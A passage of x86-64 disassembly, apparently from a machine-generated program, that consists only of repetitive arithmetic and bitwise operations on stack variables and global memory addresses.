mov rax, qword [rsp + 0x8300]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9e8]
add eax, ecx
mov word [0x140178fe4], ax
lea rax, [rsp + 0x994]
mov qword [rsp + 0x8868], rax
movsx eax, byte [rsp + 0x7e]
mov rcx, qword [0x14017a208]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7600]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ff0]
movzx eax, word [rax]
mov word [rsp + 0xf24], ax
mov eax, dword [rsp + 0x2fec]
movzx ecx, al
mov eax, dword [rsp + 0x2bbc]
shl eax, cl
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x6530]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7d48]
mov qword [rsp + 0x8870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8870]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2e98], eax
lea rax, [rsp + 0x6548]
mov qword [rsp + 0x8878], rax
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6288]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5dc8], rax
lea rax, [rsp + 0x1e9]
mov qword [rsp + 0x8880], rax
movzx eax, byte [0x140178eea]
movzx ecx, byte [rsp + 0x9a]
or eax, ecx
mov byte [0x140178efa], al
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0xba]
and eax, ecx
mov rcx, qword [rsp + 0x5f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0x7f10]
movzx eax, word [rax]
mov word [rsp + 0xf28], ax
mov rax, qword [rsp + 0x7018]
mov ecx, dword [rsp + 0x3024]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6f30]
mov dword [rcx], eax
lea rax, [rsp + 0x6b00]
mov qword [rsp + 0x8888], rax
mov rax, qword [rsp + 0x5860]
mov rcx, qword [rsp + 0x6440]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5d88], rax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x53d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [0x14017a3e0]
movzx eax, byte [rax]
mov byte [rsp + 0x224], al
lea rax, [rsp + 0xc78]
mov qword [0x14017a828], rax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa04]
sub eax, ecx
mov word [rsp + 0x9b4], ax
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x8890], rax
movzx eax, byte [0x14017a0fd]
mov rcx, qword [rsp + 0x54b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e5], al
lea rax, [rsp + 0x2ca0]
mov qword [rsp + 0x8898], rax
mov rax, qword [rsp + 0x6270]
mov rcx, qword [rsp + 0x84b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6838], rax
mov eax, dword [rsp + 0x2c5c]
mov ecx, dword [rsp + 0x2a58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2db8], eax
mov rax, qword [rsp + 0x7dd0]
mov rax, qword [rax]
mov qword [rsp + 0x88a0], rax
mov rax, qword [rsp + 0x73e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e0]
or eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a378]
mov byte [rcx], al
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x88a8], rax
movsx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x8260]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5760]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe98]
sar eax, cl
mov word [rsp + 0xaf4], ax
lea rax, [rsp + 0x98c]
mov qword [rsp + 0x88b0], rax
mov rax, qword [rsp + 0x8378]
mov rcx, qword [rsp + 0x6a08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5978]
mov qword [rcx], rax
lea rax, [rsp + 0x2e14]
mov qword [rsp + 0x88b8], rax
mov rax, qword [rsp + 0x7e68]
mov rcx, qword [rsp + 0x7d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8710], rax
mov rax, qword [rsp + 0x8678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b24], eax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x8600]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f1e], al
movzx eax, byte [rsp + 0xae]
mov byte [rsp + 0x225], al
movzx eax, word [str._rT_]
movzx ecx, word [rsp + 0xb04]
sub eax, ecx
mov word [rsp + 0xe44], ax
movzx eax, word [rsp + 0xaf4]
mov word [rsp + 0xf2c], ax
movzx eax, word [rsp + 0x928]
movzx ecx, word [rsp + 0xcdc]
add eax, ecx
mov word [rsp + 0xe94], ax
lea rax, [0x14017a064]
mov qword [rsp + 0x88c0], rax
mov rax, qword [rsp + 0x6c30]
mov rcx, qword [rsp + 0x5990]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8378]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2da0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2db0], eax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov qword [rsp + 0x88c8], rax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov byte [0x140178ecb], al
mov rax, qword [rsp + 0x6720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xac0]
and eax, ecx
mov rcx, qword [rsp + 0x7b50]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f18]
movzx eax, byte [rax]
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0x5090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa48], ax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x188]
shl eax, cl
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax]
mov dword [rsp + 0x30f0], eax
mov rax, qword [rsp + 0x6238]
mov rcx, qword [rsp + 0x6388]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2cec], eax
lea rax, [rsp + 0x5138]
mov qword [rsp + 0x88d0], rax
mov rax, qword [rsp + 0x53c0]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5600], rax
movsx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f07], al
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [0x14017a4a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc40], ax
movzx eax, word [rsp + 0xa78]
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x63d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x158]
and eax, ecx
mov byte [rsp + 0x1fe], al
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0x6d78]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d18], rax
mov rax, qword [rsp + 0x5408]
mov rcx, qword [rsp + 0x71f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x30d4], eax
mov eax, dword [rsp + 0x307c]
mov dword [rsp + 0x30f4], eax
mov rax, qword [rsp + 0x5b20]
mov rcx, qword [rsp + 0x6a00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5458], rax
lea rax, [rsp + 0xdb8]
mov qword [0x14017a830], rax
mov rax, qword [rsp + 0x60c8]
movzx eax, byte [rax]
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x6068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5e38]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7b30]
mov byte [rcx], al
lea rax, [rsp + 0xbd4]
mov qword [rsp + 0x88d8], rax
mov rax, qword [rsp + 0x81e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f6]
sub eax, ecx
mov rcx, qword [rsp + 0x6200]
mov byte [rcx], al
mov rax, qword [rsp + 0x5dd0]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79f0], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov dword [rsp + 0x30f8], eax
mov rax, qword [rsp + 0x7638]
mov rcx, qword [rsp + 0x6968]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
mov dword [rsp + 0x30fc], eax
mov rax, qword [rsp + 0x5910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [0x14017a5f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x9f]
or eax, ecx
mov byte [rsp + 0x1dd], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0xaa4]
sar eax, cl
mov word [rsp + 0xb14], ax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x80f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x2fd0]
mov dword [rsp + 0x3100], eax
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x59a8]
mov qword [rsp + 0x88e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x88e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x72e0], rax
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8550]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8628]
mov qword [rcx], rax
lea rax, [rsp + 0x2ec4]
mov qword [rsp + 0x88e8], rax
movzx eax, word [rsp + 0xb14]
mov word [0x14017a838], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9f8]
sub eax, ecx
mov rcx, qword [rsp + 0x7878]
mov word [rcx], ax
lea rax, [0x140178e9f]
mov qword [rsp + 0x88f0], rax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa60]
add eax, ecx
mov rcx, qword [rsp + 0x5780]
mov word [rcx], ax
mov rax, qword [rsp + 0x81d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17f]
and eax, ecx
mov byte [rsp + 0x13d], al
lea rax, [rsp + 0x7580]
mov qword [rsp + 0x88f8], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x5940]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8338]
mov eax, dword [rax]
mov dword [rsp + 0x3104], eax
mov eax, dword [rsp + 0x2cb8]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fac], eax
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0xe18]
sub eax, ecx
mov word [0x140178f3c], ax
mov rax, qword [rsp + 0x76b0]
movzx eax, byte [rax]
mov byte [rsp + 0x22a], al
movsx eax, word [rsp + 0x900]
movsx ecx, word [rsp + 0x868]
add eax, ecx
mov word [rsp + 0xa30], ax
mov rax, qword [rsp + 0x5868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe78], ax
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x2a9c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d2c], eax
lea rax, [rsp + 0x2dc4]
mov qword [rsp + 0x8900], rax
mov rax, qword [rsp + 0x7040]
mov rcx, qword [rsp + 0x7f50]
mov qword [rsp + 0x8908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8908]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7100], rax
mov rax, qword [rsp + 0x8608]
mov rcx, qword [0x140178e60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
mov word [rsp + 0xf34], ax
lea rax, [rsp + 0xab8]
mov qword [0x14017a840], rax
movsx eax, byte [rsp + 0x1b6]
mov rcx, qword [rsp + 0x6860]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x131], al
lea rax, [rsp + 0x190]
mov qword [rsp + 0x8910], rax
movzx eax, word [rsp + 0xb4c]
movzx ecx, word [rsp + 0xd90]
and eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x6388]
mov ecx, dword [rsp + 0x2ef8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d38], eax
lea rax, [rsp + 0x2d8c]
mov qword [rsp + 0x8918], rax
mov rax, qword [rsp + 0x7888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8530]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8740]
mov rax, qword [rax]
mov qword [rsp + 0x8920], rax
movsx eax, word [rsp + 0xb70]
mov rcx, qword [rsp + 0x8320]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x7e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f1f], al
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x8928], rax
movsx eax, word [rsp + 0xc94]
mov rcx, qword [rsp + 0x64f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xdf8], ax
movzx eax, byte [rsp + 0x1e3]
mov rcx, qword [rsp + 0x6b38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7f], al
lea rax, [rsp + 0x2e7c]
mov qword [rsp + 0x8930], rax
mov rax, qword [rsp + 0x8480]
mov rcx, qword [rsp + 0x6e68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5ea8], rax
mov rax, qword [rsp + 0x8258]
mov qword [rsp + 0x8938], rax
mov rax, qword [rsp + 0x5be8]
mov ecx, dword [rsp + 0x2f00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bf0], eax
movsx eax, word [rsp + 0xc00]
mov rcx, qword [rsp + 0x68c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
or eax, ecx
mov word [0x140178fc8], ax
lea rax, [rsp + 0x169]
mov qword [rsp + 0x8940], rax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ea8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8760]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1bf]
mov byte [rsp + 0x22c], al
mov rax, qword [rsp + 0x7138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x75b0]
mov qword [rsp + 0x8948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8948]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d60], eax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x8950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8950]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [0x140178e60]
mov qword [rsp + 0x8958], rax
mov rax, qword [rsp + 0x80c0]
mov ecx, dword [rsp + 0x2c88]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b64], eax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x8960], rax
lea rax, [rsp + 0xaf4]
mov qword [0x14017a848], rax
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x73b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [rsp + 0x1cb], al
mov rax, qword [rsp + 0x7f18]
movzx eax, byte [rax]
mov byte [rsp + 0x22d], al
movzx eax, byte [0x14017a0fc]
movzx ecx, byte [rsp + 0xba]
add eax, ecx
mov byte [rsp + 0x100], al
lea rax, [rsp + 0x2dfc]
mov qword [rsp + 0x8968], rax
mov rax, qword [rsp + 0x7060]
mov rcx, qword [rsp + 0x6e68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x73d0], rax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov qword [rsp + 0x8970], rax
mov rax, qword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x3020]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d8c], eax
movsx eax, byte [rsp + 0x18a]
mov rcx, qword [rsp + 0x7df0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e9e], al
mov rax, qword [rsp + 0x5c50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb4]
add eax, ecx
mov rcx, qword [rsp + 0x5c68]
mov word [rcx], ax
lea rax, [rsp + 0xe10]
mov qword [rsp + 0x8978], rax
movsx eax, byte [rsp + 0x20d]
mov rcx, qword [rsp + 0x79d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x79e8]
movzx eax, byte [rax]
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0x5188]
mov rcx, qword [rsp + 0x8548]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8520], rax
mov eax, dword [rsp + 0x2f20]
mov ecx, dword [rsp + 0x2a74]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
lea rax, [rsp + 0x2a84]
mov qword [rsp + 0x8980], rax
mov rax, qword [rsp + 0x7670]
movzx ecx, al
mov rax, qword [rsp + 0x7270]
sar rax, cl
mov qword [rsp + 0x6fe0], rax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [0x14017a388]
or eax, ecx
mov word [0x140178ef4], ax
movzx eax, byte [rsp + 0x174]
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0x7fe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d4]
shl eax, cl
mov word [rsp + 0xce0], ax
movzx eax, byte [0x14017a054]
mov rcx, qword [rsp + 0x82f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
mov word [rsp + 0xf38], ax
mov eax, dword [rsp + 0x2fb4]
mov ecx, dword [rsp + 0x2e24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ca0], eax
mov rax, qword [rsp + 0x8830]
mov rax, qword [rax]
mov qword [rsp + 0x8988], rax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5140]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a38], rax
mov eax, dword [rsp + 0x30a8]
mov dword [rsp + 0x3108], eax
lea rax, [rsp + 0xb94]
mov qword [0x14017a850], rax
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0x7710]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7960]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd2c]
add eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
lea rax, [rsp + 0x222]
mov qword [rsp + 0x8990], rax
movsx eax, word [0x14017a820]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6290]
mov word [rcx], ax
mov rax, qword [rsp + 0x6510]
mov eax, dword [rax]
mov dword [rsp + 0x310c], eax
mov rax, qword [rsp + 0x7e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x81c8], rax
mov rax, qword [rsp + 0x7b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fc0], eax
lea rax, [rsp + 0x6d78]
mov qword [rsp + 0x8998], rax
movsx eax, byte [rsp + 0x1c2]
movsx ecx, byte [0x140178ed2]
add eax, ecx
mov byte [0x14017a143], al
movsx eax, word [rsp + 0x8ac]
movsx ecx, word [rsp + 0xc60]
shl eax, cl
mov rcx, qword [rsp + 0x5048]
mov word [rcx], ax
movzx eax, word [rsp + 0xda8]
mov word [rsp + 0xf3c], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [0x14017a6d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
movsx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0x66f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x5210]
mov qword [rsp + 0x89a0], rax
mov rax, qword [rsp + 0x6a58]
mov ecx, dword [0x14017a060]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x73a0]
mov rax, qword [rax]
mov qword [rsp + 0x89a8], rax
mov rax, qword [rsp + 0x7b98]
mov rcx, qword [rsp + 0x65c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf3c]
and eax, ecx
mov word [0x140178fe8], ax
mov rax, qword [rsp + 0x5c50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab8]
add eax, ecx
mov word [rsp + 0xe68], ax
movzx eax, byte [rsp + 0x1ec]
mov byte [rsp + 0x230], al
mov rax, qword [0x14017a828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x86d0]
movzx eax, byte [rax]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x55d0]
mov rcx, qword [rsp + 0x59d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f40], rax
lea rax, [0x140178e60]
mov qword [rsp + 0x89b0], rax
mov rax, qword [rsp + 0x72a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x86c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59b0]
movzx eax, word [rax]
mov word [0x14017a858], ax
movzx eax, byte [rsp + 0xc2]
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x1d9]
movzx ecx, byte [rsp + 0x1eb]
add eax, ecx
mov rcx, qword [rsp + 0x6610]
mov byte [rcx], al
movzx eax, word [rsp + 0xee8]
mov word [rsp + 0xf40], ax
mov rax, qword [0x14017a7d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
lea rax, [0x140178e8c]
mov qword [rsp + 0x89b8], rax
mov rax, qword [rsp + 0x7700]
mov rcx, qword [rsp + 0x66e0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x78d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64c0]
mov rax, qword [rax]
mov qword [rsp + 0x89c0], rax
mov rax, qword [rsp + 0x8868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe94]
or eax, ecx
mov word [0x140178ee8], ax
mov rax, qword [rsp + 0x60a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x66d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x86f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xbd8]
mov rcx, qword [rsp + 0x7ec0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa94], ax
mov rax, qword [0x14017a7a8]
movzx eax, byte [rax]
mov byte [rsp + 0x233], al
movsx eax, word [rsp + 0xaf8]
movsx ecx, word [rsp + 0x8ac]
sub eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2e88]
mov dword [rsp + 0x3110], eax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7968]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
lea rax, [rsp + 0x6890]
mov qword [rsp + 0x89c8], rax
movzx eax, word [0x140178f90]
mov rcx, qword [rsp + 0x8540]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe48], ax
lea rax, [rsp + 0xf3]
mov qword [0x14017a860], rax
mov rax, qword [rsp + 0x6cf0]
movzx eax, byte [rax]
mov byte [rsp + 0x234], al
movsx eax, word [rsp + 0xae8]
mov rcx, qword [0x14017a098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x96c], ax
mov rax, qword [rsp + 0x5690]
movzx eax, word [rax]
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x82b8]
mov ecx, dword [rsp + 0x2fd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e40], eax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x6988]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6dc0], rax
mov rax, qword [rsp + 0x8478]
mov eax, dword [rax]
mov dword [rsp + 0x3114], eax
mov rax, qword [rsp + 0x7268]
mov rcx, qword [rsp + 0x7558]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8480]
mov qword [rcx], rax
lea rax, [rsp + 0x888]
mov qword [rsp + 0x89d0], rax
mov rax, qword [0x14017a278]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
add eax, ecx
mov rcx, qword [0x14017a0b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x18b]
movzx ecx, byte [rsp + 0x1a8]
sub eax, ecx
mov rcx, qword [rsp + 0x6610]
mov byte [rcx], al
mov rax, qword [rsp + 0x8730]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
sub eax, ecx
mov byte [rsp + 0x148], al
lea rax, [rsp + 0x880]
mov qword [rsp + 0x89d8], rax
mov rax, qword [rsp + 0x5f08]
mov rcx, qword [rsp + 0x5f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [rsp + 0x8648]
mov qword [rsp + 0x89e0], rax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0x8678]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d0c], eax
mov eax, dword [rsp + 0x2a48]
mov rcx, qword [rsp + 0x6a38]
mov qword [rsp + 0x89e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x89e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b48], eax
lea rax, [0x14017a1a0]
mov qword [rsp + 0x89f0], rax
mov rax, qword [rsp + 0x86b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82b0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14017a6c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
